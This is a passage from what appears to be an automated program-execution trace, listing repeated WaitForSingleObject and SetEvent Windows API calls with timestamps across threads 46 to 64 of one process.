(hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.971] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.297] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.839] SetEvent (hEvent=0x1a4) returned 1 [0061.839] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.865] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.608] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.221] SetEvent (hEvent=0x1a4) returned 1 [0063.221] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.515] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.624] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.773] SetEvent (hEvent=0x1a4) returned 1 [0063.773] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 46 os_tid = 0x5e0 [0058.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.298] SetEvent (hEvent=0x1a4) returned 1 [0059.298] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.447] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.683] SetEvent (hEvent=0x1a4) returned 1 [0059.683] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.949] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.976] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.336] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.836] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.868] SetEvent (hEvent=0x1a4) returned 1 [0061.868] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.749] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.237] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.514] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.624] SetEvent (hEvent=0x1a4) returned 1 [0063.624] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.773] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 47 os_tid = 0x1c4 [0058.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.298] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.448] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.682] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.950] SetEvent (hEvent=0x1a4) returned 1 [0059.950] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.975] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.343] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.843] SetEvent (hEvent=0x1a4) returned 1 [0061.843] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.869] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.724] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.239] SetEvent (hEvent=0x1a4) returned 1 [0063.239] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.526] SetEvent (hEvent=0x1a4) returned 1 [0063.526] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.628] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.790] SetEvent (hEvent=0x1a4) returned 1 [0063.790] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 48 os_tid = 0x688 [0058.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.299] SetEvent (hEvent=0x1a4) returned 1 [0059.299] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.468] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.781] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.952] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.393] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.840] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.871] SetEvent (hEvent=0x1a4) returned 1 [0061.871] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.873] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.239] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.526] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.629] SetEvent (hEvent=0x1a4) returned 1 [0063.629] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.789] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 49 os_tid = 0x238 [0058.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.299] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.468] SetEvent (hEvent=0x1a4) returned 1 [0059.468] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.780] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.953] SetEvent (hEvent=0x1a4) returned 1 [0059.953] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.407] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.846] SetEvent (hEvent=0x1a4) returned 1 [0061.846] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.872] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.845] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.239] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.527] SetEvent (hEvent=0x1a4) returned 1 [0063.527] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.642] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.792] SetEvent (hEvent=0x1a4) returned 1 [0063.792] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 50 os_tid = 0xb94 [0058.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.298] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.465] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.692] SetEvent (hEvent=0x1a4) returned 1 [0059.692] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.948] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.977] SetEvent (hEvent=0x1a4) returned 1 [0059.977] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.419] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.846] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.873] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.818] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.240] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.527] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.642] SetEvent (hEvent=0x1a4) returned 1 [0063.642] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.791] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 51 os_tid = 0x4ac [0058.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.298] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.467] SetEvent (hEvent=0x1a4) returned 1 [0059.467] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.690] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.948] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.976] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.431] SetEvent (hEvent=0x1a4) returned 1 [0061.431] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.845] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.874] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.969] SetEvent (hEvent=0x1a4) returned 1 [0062.969] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.258] SetEvent (hEvent=0x1a4) returned 1 [0063.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.537] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.645] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 52 os_tid = 0x720 [0058.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.307] SetEvent (hEvent=0x1a4) returned 1 [0059.307] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.467] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.781] SetEvent (hEvent=0x1a4) returned 1 [0059.781] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.951] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.981] SetEvent (hEvent=0x1a4) returned 1 [0059.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.504] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.849] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.235] SetEvent (hEvent=0x1a4) returned 1 [0062.235] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.997] SetEvent (hEvent=0x1a4) returned 1 [0062.997] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.493] SetEvent (hEvent=0x1a4) returned 1 [0063.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.601] SetEvent (hEvent=0x1a4) returned 1 [0063.602] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 53 os_tid = 0x9b8 [0058.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.306] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.468] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.781] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.952] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.518] SetEvent (hEvent=0x1a4) returned 1 [0061.518] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.848] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.154] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.944] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.256] SetEvent (hEvent=0x1a4) returned 1 [0063.256] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.536] SetEvent (hEvent=0x1a4) returned 1 [0063.536] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.646] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 54 os_tid = 0xbb4 [0058.981] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.309] SetEvent (hEvent=0x1a4) returned 1 [0059.309] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.639] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.937] SetEvent (hEvent=0x1a4) returned 1 [0059.937] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.958] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.106] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.825] SetEvent (hEvent=0x1a4) returned 1 [0061.825] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.851] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.204] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.995] SetEvent (hEvent=0x1a4) returned 1 [0062.995] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.257] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.538] SetEvent (hEvent=0x1a4) returned 1 [0063.538] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.656] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 55 os_tid = 0xbac [0058.982] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.308] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.639] SetEvent (hEvent=0x1a4) returned 1 [0059.639] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.936] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.959] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.091] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.464] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.844] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.874] SetEvent (hEvent=0x1a4) returned 1 [0061.874] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.956] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.255] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.533] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.645] SetEvent (hEvent=0x1a4) returned 1 [0063.645] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.790] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 56 os_tid = 0xbc0 [0058.982] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.308] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.478] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.933] SetEvent (hEvent=0x1a4) returned 1 [0059.933] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.954] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.205] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.477] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.850] SetEvent (hEvent=0x1a4) returned 1 [0061.850] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.219] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.994] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.538] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.656] SetEvent (hEvent=0x1a4) returned 1 [0063.657] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 57 os_tid = 0xbb0 [0058.982] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.307] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.478] SetEvent (hEvent=0x1a4) returned 1 [0059.478] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.932] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.955] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.086] SetEvent (hEvent=0x1a4) returned 1 [0061.557] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.847] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.169] SetEvent (hEvent=0x1a4) returned 1 [0063.014] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.510] SetEvent (hEvent=0x1a4) returned 1 [0063.510] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.616] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.771] SetEvent (hEvent=0x1a4) returned 1 [0063.771] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 58 os_tid = 0xb74 [0058.982] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.320] SetEvent (hEvent=0x1a4) returned 1 [0059.320] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.638] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.931] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.956] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.136] SetEvent (hEvent=0x1a4) returned 1 [0061.136] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.823] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.853] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.334] SetEvent (hEvent=0x1a4) returned 1 [0062.334] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.005] SetEvent (hEvent=0x1a4) returned 1 [0063.005] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.493] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.600] SetEvent (hEvent=0x1a4) returned 1 [0063.600] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.747] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 59 os_tid = 0x9b4 [0058.982] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.319] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.639] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.931] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.957] SetEvent (hEvent=0x1a4) returned 1 [0059.957] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.120] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.852] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.189] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.932] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.254] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.527] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.628] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.788] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 60 os_tid = 0xb70 [0058.983] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.322] SetEvent (hEvent=0x1a4) returned 1 [0059.322] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.653] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.940] SetEvent (hEvent=0x1a4) returned 1 [0059.940] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.961] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.167] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.828] SetEvent (hEvent=0x1a4) returned 1 [0061.828] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.855] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.299] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.996] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.492] SetEvent (hEvent=0x1a4) returned 1 [0063.492] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.597] SetEvent (hEvent=0x1a4) returned 1 [0063.597] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.747] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 61 os_tid = 0x704 [0058.983] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.321] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.655] SetEvent (hEvent=0x1a4) returned 1 [0059.655] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.939] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.962] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.160] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.822] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.854] SetEvent (hEvent=0x1a4) returned 1 [0061.854] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.316] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.996] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.257] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.534] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.647] SetEvent (hEvent=0x1a4) returned 1 [0063.647] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 62 os_tid = 0x5d0 [0058.983] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.321] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.652] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.935] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.960] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.180] SetEvent (hEvent=0x1a4) returned 1 [0061.180] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.826] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.856] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.428] SetEvent (hEvent=0x1a4) returned 1 [0062.428] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.005] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.503] SetEvent (hEvent=0x1a4) returned 1 [0063.503] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.601] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.756] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 63 os_tid = 0xbe0 [0058.983] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.320] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.652] SetEvent (hEvent=0x1a4) returned 1 [0059.652] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.935] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.961] SetEvent (hEvent=0x1a4) returned 1 [0059.961] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.173] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.827] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.856] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.272] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.996] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.491] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.537] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.646] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 64 os_tid = 0x374 [0058.983] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.334] SetEvent (hEvent=0x1a4) returned 1 [0059.334] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.656] WaitForSingleObject (hHandle=0x1a0, 